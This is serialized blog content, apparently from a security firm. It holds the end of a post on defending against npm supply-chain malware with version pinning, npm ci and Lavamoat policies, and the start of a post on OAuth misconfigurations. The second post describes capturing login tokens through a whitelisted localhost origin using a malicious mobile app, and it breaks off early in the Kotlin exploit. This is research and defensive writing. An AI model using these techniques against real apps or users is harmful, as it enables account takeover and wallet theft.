pe":28,"value":1488},{"type":23,"tag":139,"props":96967,"children":96968},{"class":141,"line":160},[96969,96974,96978,96983],{"type":23,"tag":139,"props":96970,"children":96971},{"style":265},[96972],{"type":28,"value":96973},"\"@react-native-community/netinfo\"",{"type":23,"tag":139,"props":96975,"children":96976},{"style":259},[96977],{"type":28,"value":13343},{"type":23,"tag":139,"props":96979,"children":96980},{"style":265},[96981],{"type":28,"value":96982},"\"11.4.1\"",{"type":23,"tag":139,"props":96984,"children":96985},{"style":259},[96986],{"type":28,"value":1488},{"type":23,"tag":139,"props":96988,"children":96989},{"class":141,"line":169},[96990,96995,96999],{"type":23,"tag":139,"props":96991,"children":96992},{"style":265},[96993],{"type":28,"value":96994},"\"@react-native-picker/picker\"",{"type":23,"tag":139,"props":96996,"children":96997},{"style":259},[96998],{"type":28,"value":13343},{"type":23,"tag":139,"props":97000,"children":97001},{"style":265},[97002],{"type":28,"value":97003},"\"2.11.0\"\n",{"type":23,"tag":666,"props":97005,"children":97007},{"id":97006},"_2-use-npm-ci",[97008,97010],{"type":28,"value":97009},"2. Use ",{"type":23,"tag":135,"props":97011,"children":97013},{"className":97012},[],[97014],{"type":28,"value":97015},"npm ci",{"type":23,"tag":24,"props":97017,"children":97018},{},[97019,97024,97026,97032,97034,97039],{"type":23,"tag":135,"props":97020,"children":97022},{"className":97021},[],[97023],{"type":28,"value":97015},{"type":28,"value":97025}," uses the dependency versions from ",{"type":23,"tag":135,"props":97027,"children":97029},{"className":97028},[],[97030],{"type":28,"value":97031},"package-lock.json",{"type":28,"value":97033}," to install the packages. Consider using it in CI/CD workflows and only use ",{"type":23,"tag":135,"props":97035,"children":97037},{"className":97036},[],[97038],{"type":28,"value":96901},{"type":28,"value":97040}," when adding a new package or updating an existing one.",{"type":23,"tag":666,"props":97042,"children":97044},{"id":97043},"_3-implement-lavamoat",[97045,97047],{"type":28,"value":97046},"3. Implement ",{"type":23,"tag":64,"props":97048,"children":97051},{"href":97049,"rel":97050},"https://github.com/LavaMoat/LavaMoat/tree/main",[68],[97052],{"type":23,"tag":56,"props":97053,"children":97054},{},[97055],{"type":28,"value":97056},"Lavamoat",{"type":23,"tag":24,"props":97058,"children":97059},{},[97060],{"type":28,"value":97061},"Basic hygiene helps, but it doesn’t solve the root issue: a minor utility package has the same permissions as your code. Lavamoat changes this model. Lavamoat, created by MetaMask, addresses this by sandboxing packages and enforcing least privilege. With it, even if a dependency contains malware, it cannot compromise the application.",{"type":23,"tag":24,"props":97063,"children":97064},{},[97065],{"type":28,"value":97066},"Lavamoat uses SES (Hardened JavaScript) to enforce these restrictions, limiting the globals, functions, and sub-dependencies each package can access. The rules are defined in a policy file, which looks like this:",{"type":23,"tag":128,"props":97068,"children":97070},{"code":97069,"language":31886,"meta":7,"className":31884,"style":7},"\"resources\": {\n    \"@ethereumjs/util>@ethereumjs/rlp\": {\n      \"globals\": {\n        \"TextEncoder\": true\n      }\n    },\n    \"@ethereumjs/util\": {\n      \"globals\": {\n        \"console.warn\": true,\n        \"fetch\": true\n      },\n      \"packages\": {\n        \"@ethereumjs/util>@ethereumjs/rlp\": true,\n        \"@ethereumjs/util>ethereum-cryptography\": true\n      }\n    }\n}\n",[97071],{"type":23,"tag":135,"props":97072,"children":97073},{"__ignoreMap":7},[97074,97086,97098,97109,97125,97132,97139,97151,97162,97182,97198,97205,97216,97236,97252,97259,97266],{"type":23,"tag":139,"props":97075,"children":97076},{"class":141,"line":142},[97077,97082],{"type":23,"tag":139,"props":97078,"children":97079},{"style":265},[97080],{"type":28,"value":97081},"\"resources\"",{"type":23,"tag":139,"props":97083,"children":97084},{"style":259},[97085],{"type":28,"value":34912},{"type":23,"tag":139,"props":97087,"children":97088},{"class":141,"line":151},[97089,97094],{"type":23,"tag":139,"props":97090,"children":97091},{"style":294},[97092],{"type":28,"value":97093},"    \"@ethereumjs/util>@ethereumjs/rlp\"",{"type":23,"tag":139,"props":97095,"children":97096},{"style":259},[97097],{"type":28,"value":34912},{"type":23,"tag":139,"props":97099,"children":97100},{"class":141,"line":160},[97101,97105],{"type":23,"tag":139,"props":97102,"children":97103},{"style":294},[97104],{"type":28,"value":34920},{"type":23,"tag":139,"props":97106,"children":97107},{"style":259},[97108],{"type":28,"value":34912},{"type":23,"tag":139,"props":97110,"children":97111},{"class":141,"line":169},[97112,97117,97121],{"type":23,"tag":139,"props":97113,"children":97114},{"style":294},[97115],{"type":28,"value":97116},"        \"TextEncoder\"",{"type":23,"tag":139,"props":97118,"children":97119},{"style":259},[97120],{"type":28,"value":13343},{"type":23,"tag":139,"props":97122,"children":97123},{"style":279},[97124],{"type":28,"value":35081},{"type":23,"tag":139,"props":97126,"children":97127},{"class":141,"line":178},[97128],{"type":23,"tag":139,"props":97129,"children":97130},{"style":259},[97131],{"type":28,"value":10675},{"type":23,"tag":139,"props":97133,"children":97134},{"class":141,"line":187},[97135],{"type":23,"tag":139,"props":97136,"children":97137},{"style":259},[97138],{"type":28,"value":23402},{"type":23,"tag":139,"props":97140,"children":97141},{"class":141,"line":196},[97142,97147],{"type":23,"tag":139,"props":97143,"children":97144},{"style":294},[97145],{"type":28,"value":97146},"    \"@ethereumjs/util\"",{"type":23,"tag":139,"props":97148,"children":97149},{"style":259},[97150],{"type":28,"value":34912},{"type":23,"tag":139,"props":97152,"children":97153},{"class":141,"line":205},[97154,97158],{"type":23,"tag":139,"props":97155,"children":97156},{"style":294},[97157],{"type":28,"value":34920},{"type":23,"tag":139,"props":97159,"children":97160},{"style":259},[97161],{"type":28,"value":34912},{"type":23,"tag":139,"props":97163,"children":97164},{"class":141,"line":214},[97165,97170,97174,97178],{"type":23,"tag":139,"props":97166,"children":97167},{"style":294},[97168],{"type":28,"value":97169},"        \"console.warn\"",{"type":23,"tag":139,"props":97171,"children":97172},{"style":259},[97173],{"type":28,"value":13343},{"type":23,"tag":139,"props":97175,"children":97176},{"style":279},[97177],{"type":28,"value":1993},{"type":23,"tag":139,"props":97179,"children":97180},{"style":259},[97181],{"type":28,"value":1488},{"type":23,"tag":139,"props":97183,"children":97184},{"class":141,"line":1320},[97185,97190,97194],{"type":23,"tag":139,"props":97186,"children":97187},{"style":294},[97188],{"type":28,"value":97189},"        \"fetch\"",{"type":23,"tag":139,"props":97191,"children":97192},{"style":259},[97193],{"type":28,"value":13343},{"type":23,"tag":139,"props":97195,"children":97196},{"style":279},[97197],{"type":28,"value":35081},{"type":23,"tag":139,"props":97199,"children":97200},{"class":141,"line":1329},[97201],{"type":23,"tag":139,"props":97202,"children":97203},{"style":259},[97204],{"type":28,"value":35089},{"type":23,"tag":139,"props":97206,"children":97207},{"class":141,"line":1580},[97208,97212],{"type":23,"tag":139,"props":97209,"children":97210},{"style":294},[97211],{"type":28,"value":35097},{"type":23,"tag":139,"props":97213,"children":97214},{"style":259},[97215],{"type":28,"value":34912},{"type":23,"tag":139,"props":97217,"children":97218},{"class":141,"line":1597},[97219,97224,97228,97232],{"type":23,"tag":139,"props":97220,"children":97221},{"style":294},[97222],{"type":28,"value":97223},"        \"@ethereumjs/util>@ethereumjs/rlp\"",{"type":23,"tag":139,"props":97225,"children":97226},{"style":259},[97227],{"type":28,"value":13343},{"type":23,"tag":139,"props":97229,"children":97230},{"style":279},[97231],{"type":28,"value":1993},{"type":23,"tag":139,"props":97233,"children":97234},{"style":259},[97235],{"type":28,"value":1488},{"type":23,"tag":139,"props":97237,"children":97238},{"class":141,"line":1614},[97239,97244,97248],{"type":23,"tag":139,"props":97240,"children":97241},{"style":294},[97242],{"type":28,"value":97243},"        \"@ethereumjs/util>ethereum-cryptography\"",{"type":23,"tag":139,"props":97245,"children":97246},{"style":259},[97247],{"type":28,"value":13343},{"type":23,"tag":139,"props":97249,"children":97250},{"style":279},[97251],{"type":28,"value":35081},{"type":23,"tag":139,"props":97253,"children":97254},{"class":141,"line":1627},[97255],{"type":23,"tag":139,"props":97256,"children":97257},{"style":259},[97258],{"type":28,"value":10675},{"type":23,"tag":139,"props":97260,"children":97261},{"class":141,"line":1636},[97262],{"type":23,"tag":139,"props":97263,"children":97264},{"style":259},[97265],{"type":28,"value":1335},{"type":23,"tag":139,"props":97267,"children":97268},{"class":141,"line":1659},[97269],{"type":23,"tag":139,"props":97270,"children":97271},{"style":259},[97272],{"type":28,"value":1897},{"type":23,"tag":24,"props":97274,"children":97275},{},[97276,97278,97284,97286,97292,97293,97298,97300,97306,97307,97313],{"type":28,"value":97277},"In this example, it restricts the ",{"type":23,"tag":135,"props":97279,"children":97281},{"className":97280},[],[97282],{"type":28,"value":97283},"@ethereumjs/util",{"type":28,"value":97285}," package to use only ",{"type":23,"tag":135,"props":97287,"children":97289},{"className":97288},[],[97290],{"type":28,"value":97291},"console.warn",{"type":28,"value":9002},{"type":23,"tag":135,"props":97294,"children":97296},{"className":97295},[],[97297],{"type":28,"value":31983},{"type":28,"value":97299}," functions, and to include only ",{"type":23,"tag":135,"props":97301,"children":97303},{"className":97302},[],[97304],{"type":28,"value":97305},"@ethereumjs/rlp",{"type":28,"value":9002},{"type":23,"tag":135,"props":97308,"children":97310},{"className":97309},[],[97311],{"type":28,"value":97312},"ethereum-cryptography",{"type":28,"value":97314}," packages.",{"type":23,"tag":24,"props":97316,"children":97317},{},[97318],{"type":28,"value":97319},"The policy files can be generated automatically and should be regenerated carefully, because if you generate a policy while a malicious package is installed, Lavamoat’s protection can be bypassed.",{"type":23,"tag":24,"props":97321,"children":97322},{},[97323,97325,97331],{"type":28,"value":97324},"Lavamoat also automatically freezes the global objects to prevent them being replaced or tampered with. See ",{"type":23,"tag":64,"props":97326,"children":97329},{"href":97327,"rel":97328},"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/freeze",[68],[97330],{"type":28,"value":35267},{"type":28,"value":73},{"type":23,"tag":666,"props":97333,"children":97335},{"id":97334},"lavamoat-vs-qix-malware",[97336],{"type":28,"value":97337},"Lavamoat vs Qix Malware",{"type":23,"tag":24,"props":97339,"children":97340},{},[97341,97343,97348],{"type":28,"value":97342},"If a dApp were compromised with the Qix malware (say it used ",{"type":23,"tag":135,"props":97344,"children":97346},{"className":97345},[],[97347],{"type":28,"value":95188},{"type":28,"value":97349},"), it would need to perform the following actions to drain funds from a wallet:",{"type":23,"tag":797,"props":97351,"children":97352},{},[97353,97365,97376,97387],{"type":23,"tag":801,"props":97354,"children":97355},{},[97356,97358,97363],{"type":28,"value":97357},"Replace ",{"type":23,"tag":135,"props":97359,"children":97361},{"className":97360},[],[97362],{"type":28,"value":31983},{"type":28,"value":97364}," function to a custom one",{"type":23,"tag":801,"props":97366,"children":97367},{},[97368,97370],{"type":28,"value":97369},"Access ",{"type":23,"tag":135,"props":97371,"children":97373},{"className":97372},[],[97374],{"type":28,"value":97375},"window.ethereum",{"type":23,"tag":801,"props":97377,"children":97378},{},[97379,97381,97386],{"type":28,"value":97380},"Call original ",{"type":23,"tag":135,"props":97382,"children":97384},{"className":97383},[],[97385],{"type":28,"value":31983},{"type":28,"value":36104},{"type":23,"tag":801,"props":97388,"children":97389},{},[97390],{"type":28,"value":97391},"Plus other actions not relevant here",{"type":23,"tag":24,"props":97393,"children":97394},{},[97395,97397,97403],{"type":28,"value":97396},"If the dApp is using Lavamoat with a generated policy for ",{"type":23,"tag":135,"props":97398,"children":97400},{"className":97399},[],[97401],{"type":28,"value":97402},"chalk 5.6.0",{"type":28,"value":97404}," (non-malicious version) it would look like this:",{"type":23,"tag":128,"props":97406,"children":97408},{"code":97407,"language":31886,"meta":7,"className":31884,"style":7},"\"chalk\": {\n      \"globals\": {\n        \"navigator.userAgent\": true,\n        \"navigator.userAgentData\": true\n      }\n    },\n",[97409],{"type":23,"tag":135,"props":97410,"children":97411},{"__ignoreMap":7},[97412,97424,97435,97455,97471,97478],{"type":23,"tag":139,"props":97413,"children":97414},{"class":141,"line":142},[97415,97420],{"type":23,"tag":139,"props":97416,"children":97417},{"style":265},[97418],{"type":28,"value":97419},"\"chalk\"",{"type":23,"tag":139,"props":97421,"children":97422},{"style":259},[97423],{"type":28,"value":34912},{"type":23,"tag":139,"props":97425,"children":97426},{"class":141,"line":151},[97427,97431],{"type":23,"tag":139,"props":97428,"children":97429},{"style":294},[97430],{"type":28,"value":34920},{"type":23,"tag":139,"props":97432,"children":97433},{"style":259},[97434],{"type":28,"value":34912},{"type":23,"tag":139,"props":97436,"children":97437},{"class":141,"line":160},[97438,97443,97447,97451],{"type":23,"tag":139,"props":97439,"children":97440},{"style":294},[97441],{"type":28,"value":97442},"        \"navigator.userAgent\"",{"type":23,"tag":139,"props":97444,"children":97445},{"style":259},[97446],{"type":28,"value":13343},{"type":23,"tag":139,"props":97448,"children":97449},{"style":279},[97450],{"type":28,"value":1993},{"type":23,"tag":139,"props":97452,"children":97453},{"style":259},[97454],{"type":28,"value":1488},{"type":23,"tag":139,"props":97456,"children":97457},{"class":141,"line":169},[97458,97463,97467],{"type":23,"tag":139,"props":97459,"children":97460},{"style":294},[97461],{"type":28,"value":97462},"        \"navigator.userAgentData\"",{"type":23,"tag":139,"props":97464,"children":97465},{"style":259},[97466],{"type":28,"value":13343},{"type":23,"tag":139,"props":97468,"children":97469},{"style":279},[97470],{"type":28,"value":35081},{"type":23,"tag":139,"props":97472,"children":97473},{"class":141,"line":178},[97474],{"type":23,"tag":139,"props":97475,"children":97476},{"style":259},[97477],{"type":28,"value":10675},{"type":23,"tag":139,"props":97479,"children":97480},{"class":141,"line":187},[97481],{"type":23,"tag":139,"props":97482,"children":97483},{"style":259},[97484],{"type":28,"value":23402},{"type":23,"tag":24,"props":97486,"children":97487},{},[97488,97490,97496],{"type":28,"value":97489},"That means that the chalk dependency can only access these two global attributes from ",{"type":23,"tag":135,"props":97491,"children":97493},{"className":97492},[],[97494],{"type":28,"value":97495},"navigator",{"type":28,"value":73},{"type":23,"tag":24,"props":97498,"children":97499},{},[97500,97502,97508],{"type":28,"value":97501},"When the compromised dApp would execute the malicious payload of ",{"type":23,"tag":135,"props":97503,"children":97505},{"className":97504},[],[97506],{"type":28,"value":97507},"chalk v5.6.1",{"type":28,"value":97509}," it would fail due to insufficient permissions:",{"type":23,"tag":24,"props":97511,"children":97512},{},[97513],{"type":23,"tag":429,"props":97514,"children":97516},{"alt":48476,"src":97515},"/posts/supply-chain-attcks/error.png",[],{"type":23,"tag":24,"props":97518,"children":97519},{},[97520,97522,97527],{"type":28,"value":97521},"This error shows that the malware failed since it cannot redefine ",{"type":23,"tag":135,"props":97523,"children":97525},{"className":97524},[],[97526],{"type":28,"value":31983},{"type":28,"value":23489},{"type":23,"tag":128,"props":97529,"children":97531},{"code":97530},"TypeError#1: Cannot define property fetch, object is not extensible\n",[97532],{"type":23,"tag":135,"props":97533,"children":97534},{"__ignoreMap":7},[97535],{"type":28,"value":97530},{"type":23,"tag":41,"props":97537,"children":97539},{"id":97538},"lavamoat-in-practice",[97540],{"type":28,"value":97541},"Lavamoat In Practice",{"type":23,"tag":24,"props":97543,"children":97544},{},[97545,97547,97554],{"type":28,"value":97546},"The OtterSec team audited the Lavamoat Webpack Plugin in late 2024 and identified vulnerabilities that attackers could abuse to bypass Lavamoat protections (",{"type":23,"tag":64,"props":97548,"children":97551},{"href":97549,"rel":97550},"https://osec.io/reports/lavamoat_audit_final.pdf",[68],[97552],{"type":28,"value":97553},"see the audit report",{"type":28,"value":18750},{"type":23,"tag":24,"props":97556,"children":97557},{},[97558],{"type":28,"value":97559},"Like any security tool, it isn’t flawless, but it represents an important shift: it minimizes what malicious code can do, rather than assuming every dependency deserves full trust. Supply-chain attacks are designed to hit as many victims as possible, not to target individual organizations. By implementing Lavamoat, you dramatically reduce your exposure and force attackers to look elsewhere.",{"type":23,"tag":41,"props":97561,"children":97562},{"id":73701},[97563],{"type":28,"value":73704},{"type":23,"tag":24,"props":97565,"children":97566},{},[97567],{"type":28,"value":97568},"The NPM incident may not have caused massive losses, but it was a clear proof-of-concept for how fragile the current model is. Supply-chain attacks will happen again, and relying on registry security alone is not enough.",{"type":23,"tag":24,"props":97570,"children":97571},{},[97572,97574,97579],{"type":28,"value":97573},"Version pinning and ",{"type":23,"tag":135,"props":97575,"children":97577},{"className":97576},[],[97578],{"type":28,"value":97015},{"type":28,"value":97580}," provide a baseline defense, but Lavamoat represents the next step: enforcing least privilege for dependencies. If you’re building critical applications, adopting and contributing to Lavamoat is one of the most effective ways to stay ahead.",{"type":23,"tag":817,"props":97582,"children":97583},{},[97584],{"type":28,"value":821},{"title":7,"searchDepth":151,"depth":151,"links":97586},[97587,97590,97591,97600,97601],{"id":95203,"depth":151,"text":95206,"children":97588},[97589],{"id":96838,"depth":160,"text":96841},{"id":96849,"depth":151,"text":96852},{"id":96865,"depth":151,"text":96868,"children":97592},[97593,97595,97597,97599],{"id":96876,"depth":160,"text":97594},"1. Version pinning in package.json",{"id":97006,"depth":160,"text":97596},"2. Use npm ci",{"id":97043,"depth":160,"text":97598},"3. Implement Lavamoat",{"id":97334,"depth":160,"text":97337},{"id":97538,"depth":151,"text":97541},{"id":73701,"depth":151,"text":73704},"content:blog:2025-09-13-how-to-survive-supply-chain-attacks.md","blog/2025-09-13-how-to-survive-supply-chain-attacks.md","blog/2025-09-13-how-to-survive-supply-chain-attacks",{"_path":97606,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":97607,"description":97608,"date":97609,"author":97610,"image":97611,"isFeatured":15,"onBlogPage":15,"tags":97613,"body":97616,"_type":831,"_id":99947,"_source":833,"_file":99948,"_stem":99949,"_extension":836},"/blog/2025-10-16-how-we-broke-exchanges-oauth-misconfigurations","How We Broke Exchanges: A Deep Dive Into Authentication And Client-Side Bugs","OAuth misconfigurations show how common dev settings can lead to account takeovers. Explore real cases where failing to account for differences between desktop and mobile environments left SDKs, exchanges, and wallets vulnerable to exploits.","2025-10-16T12:00:00.000Z",[29088,29087],{"src":97612,"width":95172,"height":13},"/posts/oauth-misconfigurations/title.png",[97614,97615],"oAuth","exchanges",{"type":20,"children":97617,"toc":99934},[97618,97624,97629,97635,97655,97661,97666,97679,97684,97692,97706,97715,97724,97738,97746,97757,97817,97823,97835,97884,97890,97895,97908,97915,97926,97946,97965,97986,97992,98005,98010,98016,98035,98660,98665,98678,99539,99544,99549,99555,99560,99566,99571,99584,99624,99630,99643,99648,99681,99686,99691,99716,99721,99733,99890,99895,99899,99911,99916,99920,99925,99930],{"type":23,"tag":41,"props":97619,"children":97621},{"id":97620},"exploiting-oauth",[97622],{"type":28,"value":97623},"Exploiting OAuth",{"type":23,"tag":24,"props":97625,"children":97626},{},[97627],{"type":28,"value":97628},"Our main research focus was related to recent vulnerabilities we found in some of our audits. One common issue we find is related to OAuth misconfigurations that can be exploited to achieve account takeover. To understand the vulnerability and the exploit itself, we first need to dig into the different OAuth flows and the configurations that can be made in the Google Cloud Console.",{"type":23,"tag":666,"props":97630,"children":97632},{"id":97631},"google-authentication-flows",[97633],{"type":28,"value":97634},"Google Authentication Flows",{"type":23,"tag":24,"props":97636,"children":97637},{},[97638,97640,97646,97648,97653],{"type":28,"value":97639},"During our research, we identified various Google Authentication flows that require different exploitation methods. The new/most recent flow is called GSI, which mainly uses ",{"type":23,"tag":135,"props":97641,"children":97643},{"className":97642},[],[97644],{"type":28,"value":97645},"postMessage",{"type":28,"value":97647}," for communication with the Relying Party (RP), and the old one mostly uses ",{"type":23,"tag":135,"props":97649,"children":97651},{"className":97650},[],[97652],{"type":28,"value":67667},{"type":28,"value":97654}," to send the token back to the RP.",{"type":23,"tag":16900,"props":97656,"children":97658},{"id":97657},"gsi-new-flow",[97659],{"type":28,"value":97660},"GSI (New Flow)",{"type":23,"tag":24,"props":97662,"children":97663},{},[97664],{"type":28,"value":97665},"The GSI flow also has two ways to authenticate the user to the RP:",{"type":23,"tag":14699,"props":97667,"children":97668},{},[97669,97674],{"type":23,"tag":801,"props":97670,"children":97671},{},[97672],{"type":28,"value":97673},"Using FedCM API",{"type":23,"tag":801,"props":97675,"children":97676},{},[97677],{"type":28,"value":97678},"Without using FedCM API",{"type":23,"tag":24,"props":97680,"children":97681},{},[97682],{"type":28,"value":97683},"FedCM (Federated Credentials Manager) is a new browser API that lets users authenticate natively to an RP using a third-party IdP.",{"type":23,"tag":24,"props":97685,"children":97686},{},[97687],{"type":23,"tag":56,"props":97688,"children":97689},{},[97690],{"type":28,"value":97691},"FedCM Method",{"type":23,"tag":24,"props":97693,"children":97694},{},[97695,97697,97704],{"type":28,"value":97696},"The FedCM method basically follows this ",{"type":23,"tag":64,"props":97698,"children":97701},{"href":97699,"rel":97700},"https://privacysandbox.google.com/cookies/fedcm/why#user-interaction",[68],[97702],{"type":28,"value":97703},"user experience",{"type":28,"value":97705},". Users can log in by clicking a login button (which will open a \"choose your account\" prompt window) or by 1-tap UX (see images below).",{"type":23,"tag":24,"props":97707,"children":97708},{},[97709,97711],{"type":28,"value":97710},"The normal flow, clicking the \"sign in\" button:\n",{"type":23,"tag":429,"props":97712,"children":97714},{"alt":48476,"src":97713},"/posts/oauth-misconfigurations/image1.png",[],{"type":23,"tag":24,"props":97716,"children":97717},{},[97718,97720],{"type":28,"value":97719},"One-Tap popup shown when you open the page:\n",{"type":23,"tag":429,"props":97721,"children":97723},{"alt":48476,"src":97722},"/posts/oauth-misconfigurations/image2.png",[],{"type":23,"tag":24,"props":97725,"children":97726},{},[97727,97729,97736],{"type":28,"value":97728},"Both flows use FedCM API to authenticate using Google IdP service, which makes some CORS requests to the IdP server to return the token. After authenticating the first time, when the user returns to the same website after some time, it is possible to automatically reauthenticate using ",{"type":23,"tag":64,"props":97730,"children":97733},{"href":97731,"rel":97732},"https://github.com/w3c-fedid/FedCM/issues/429",[68],[97734],{"type":28,"value":97735},"FedCM auto-reauthentication",{"type":28,"value":97737},", which has certain preconditions that must be met.",{"type":23,"tag":24,"props":97739,"children":97740},{},[97741],{"type":23,"tag":56,"props":97742,"children":97743},{},[97744],{"type":28,"value":97745},"Non-FedCM Method",{"type":23,"tag":24,"props":97747,"children":97748},{},[97749,97751,97756],{"type":28,"value":97750},"This method uses a popup window (or iframe) to open the Google OAuth consent page and return the token via ",{"type":23,"tag":135,"props":97752,"children":97754},{"className":97753},[],[97755],{"type":28,"value":97645},{"type":28,"value":2493},{"type":23,"tag":797,"props":97758,"children":97759},{},[97760,97765,97789,97794,97805],{"type":23,"tag":801,"props":97761,"children":97762},{},[97763],{"type":28,"value":97764},"The user clicks the sign in button",{"type":23,"tag":801,"props":97766,"children":97767},{},[97768,97770,97776,97778,97783,97784],{"type":28,"value":97769},"RP opens a popup/iframe to ",{"type":23,"tag":64,"props":97771,"children":97774},{"href":97772,"rel":97773},"https://accounts.google.com/o/oauth2/v2/auth",[68],[97775],{"type":28,"value":97772},{"type":28,"value":97777}," with some important parameters like ",{"type":23,"tag":135,"props":97779,"children":97781},{"className":97780},[],[97782],{"type":28,"value":67499},{"type":28,"value":9002},{"type":23,"tag":135,"props":97785,"children":97787},{"className":97786},[],[97788],{"type":28,"value":38026},{"type":23,"tag":801,"props":97790,"children":97791},{},[97792],{"type":28,"value":97793},"The user clicks the \"Continue\" button to authorize authentication",{"type":23,"tag":801,"props":97795,"children":97796},{},[97797,97799],{"type":28,"value":97798},"They get redirected to ",{"type":23,"tag":64,"props":97800,"children":97803},{"href":97801,"rel":97802},"https://accounts.google.com/gsi/transform",[68],[97804],{"type":28,"value":97801},{"type":23,"tag":801,"props":97806,"children":97807},{},[97808,97810,97815],{"type":28,"value":97809},"/gsi/transform sends the token back to the RP via ",{"type":23,"tag":135,"props":97811,"children":97813},{"className":97812},[],[97814],{"type":28,"value":97645},{"type":28,"value":97816}," (after some SYN/ACK messages)",{"type":23,"tag":16900,"props":97818,"children":97820},{"id":97819},"oauth-20-old-flow",[97821],{"type":28,"value":97822},"OAuth 2.0 Old Flow",{"type":23,"tag":24,"props":97824,"children":97825},{},[97826,97828,97833],{"type":28,"value":97827},"The old flow also redirects the user to the Google OAuth consent page and then returns the token via a ",{"type":23,"tag":135,"props":97829,"children":97831},{"className":97830},[],[97832],{"type":28,"value":67667},{"type":28,"value":97834}," provided in the URL and validated by a whitelist configuration:",{"type":23,"tag":797,"props":97836,"children":97837},{},[97838,97842,97863,97867],{"type":23,"tag":801,"props":97839,"children":97840},{},[97841],{"type":28,"value":97764},{"type":23,"tag":801,"props":97843,"children":97844},{},[97845,97846,97851,97852,97857,97858],{"type":28,"value":97769},{"type":23,"tag":64,"props":97847,"children":97849},{"href":97772,"rel":97848},[68],[97850],{"type":28,"value":97772},{"type":28,"value":97777},{"type":23,"tag":135,"props":97853,"children":97855},{"className":97854},[],[97856],{"type":28,"value":67499},{"type":28,"value":9002},{"type":23,"tag":135,"props":97859,"children":97861},{"className":97860},[],[97862],{"type":28,"value":67667},{"type":23,"tag":801,"props":97864,"children":97865},{},[97866],{"type":28,"value":97793},{"type":23,"tag":801,"props":97868,"children":97869},{},[97870,97871,97876,97878],{"type":28,"value":97798},{"type":23,"tag":135,"props":97872,"children":97874},{"className":97873},[],[97875],{"type":28,"value":67667},{"type":28,"value":97877}," with the token in the query parameters or ",{"type":23,"tag":135,"props":97879,"children":97881},{"className":97880},[],[97882],{"type":28,"value":97883},"location.hash",{"type":23,"tag":16900,"props":97885,"children":97887},{"id":97886},"different-configurations",[97888],{"type":28,"value":97889},"Different Configurations",{"type":23,"tag":24,"props":97891,"children":97892},{},[97893],{"type":28,"value":97894},"These two flows must be configured differently in the Google Cloud Console. There are two whitelist configurations that we can control:",{"type":23,"tag":14699,"props":97896,"children":97897},{},[97898,97903],{"type":23,"tag":801,"props":97899,"children":97900},{},[97901],{"type":28,"value":97902},"Authorized origins",{"type":23,"tag":801,"props":97904,"children":97905},{},[97906],{"type":28,"value":97907},"Authorized redirect URIs",{"type":23,"tag":24,"props":97909,"children":97910},{},[97911],{"type":23,"tag":429,"props":97912,"children":97914},{"alt":48476,"src":97913},"/posts/oauth-misconfigurations/image3.png",[],{"type":23,"tag":24,"props":97916,"children":97917},{},[97918,97920,97925],{"type":28,"value":97919},"The described GSI flow doesn't use any redirection to send the token back to the RP, so the authorized redirect URI is not that important in the GSI flow. It uses the authorized origins to verify if the RP page is actually allowed to be authenticated using that ",{"type":23,"tag":135,"props":97921,"children":97923},{"className":97922},[],[97924],{"type":28,"value":67499},{"type":28,"value":73},{"type":23,"tag":24,"props":97927,"children":97928},{},[97929,97931,97937,97939,97944],{"type":28,"value":97930},"The actual verification in the GSI flow happens in the CORS requests made by FedCM or in ",{"type":23,"tag":135,"props":97932,"children":97934},{"className":97933},[],[97935],{"type":28,"value":97936},"/oauth2/v2/auth",{"type":28,"value":97938}," by checking the ",{"type":23,"tag":135,"props":97940,"children":97942},{"className":97941},[],[97943],{"type":28,"value":38026},{"type":28,"value":97945}," query parameter.",{"type":23,"tag":24,"props":97947,"children":97948},{},[97949,97951,97956,97958,97963],{"type":28,"value":97950},"In the old flow, the ",{"type":23,"tag":135,"props":97952,"children":97954},{"className":97953},[],[97955],{"type":28,"value":67667},{"type":28,"value":97957}," parameter passed in the ",{"type":23,"tag":135,"props":97959,"children":97961},{"className":97960},[],[97962],{"type":28,"value":97936},{"type":28,"value":97964}," endpoint is validated against the authorized redirect URIs.",{"type":23,"tag":24,"props":97966,"children":97967},{},[97968,97970,97975,97977,97984],{"type":28,"value":97969},"Note that the new GSI flow can also have a different flow using ",{"type":23,"tag":135,"props":97971,"children":97973},{"className":97972},[],[97974],{"type":28,"value":67667},{"type":28,"value":97976}," validation. To execute this flow, you need to specify ",{"type":23,"tag":64,"props":97978,"children":97981},{"href":97979,"rel":97980},"https://developers.google.com/identity/gsi/web/reference/js-reference#login_uri",[68],[97982],{"type":28,"value":97983},"login_uri",{"type":28,"value":97985}," while using the SDK.",{"type":23,"tag":666,"props":97987,"children":97989},{"id":97988},"localhost-exploit",[97990],{"type":28,"value":97991},"Localhost Exploit",{"type":23,"tag":24,"props":97993,"children":97994},{},[97995,97997,98003],{"type":28,"value":97996},"During one of our audits, we found a bug related to how developers test the OAuth flow in their development environment. Developers often whitelist the ",{"type":23,"tag":135,"props":97998,"children":98000},{"className":97999},[],[98001],{"type":28,"value":98002},"localhost",{"type":28,"value":98004}," origin because it is considered trusted for local testing.",{"type":23,"tag":24,"props":98006,"children":98007},{},[98008],{"type":28,"value":98009},"Actually, this is partially true, as it depends on which security assumptions you make. This can be an issue in a mobile environment, as mobile apps can open localhost webservers without many permissions, and having a malicious app installed is not considered a significant issue on mobile since all applications are sandboxed. This configuration allows a malicious application to \"escape\" the sandbox and attack another system.",{"type":23,"tag":16900,"props":98011,"children":98013},{"id":98012},"exploit",[98014],{"type":28,"value":98015},"Exploit",{"type":23,"tag":24,"props":98017,"children":98018},{},[98019,98021,98026,98027,98033],{"type":28,"value":98020},"To exploit this misconfiguration, we first needed to understand the OAuth flow used by the target. If the OAuth implementation follows a standard flow without using Google Sign-In (GSI), we can extract the token via ",{"type":23,"tag":135,"props":98022,"children":98024},{"className":98023},[],[98025],{"type":28,"value":97883},{"type":28,"value":11145},{"type":23,"tag":135,"props":98028,"children":98030},{"className":98029},[],[98031],{"type":28,"value":98032},"location.search",{"type":28,"value":98034},". To achieve this, we developed a Kotlin application that spins up a local web server:",{"type":23,"tag":128,"props":98036,"children":98040},{"className":98037,"code":98038,"language":98039,"meta":7,"style":7},"language-kt shiki shiki-themes slack-dark"," override fun onCreate(savedInstanceState: Bundle?){\n        super.onCreate(savedInstanceState)\n\n        // Start the Ktor web server\n        CoroutineScope(Dispatchers.IO).launch {\n            try {\n                startWebServer()\n                Log.d(\"WebServer\", \"Server started on http://localhost:3000\")\n            } catch (e: Exception) {\n                Log.e(\"WebServer\", \"Error starting server: ${e.message}\", e)\n            }\n     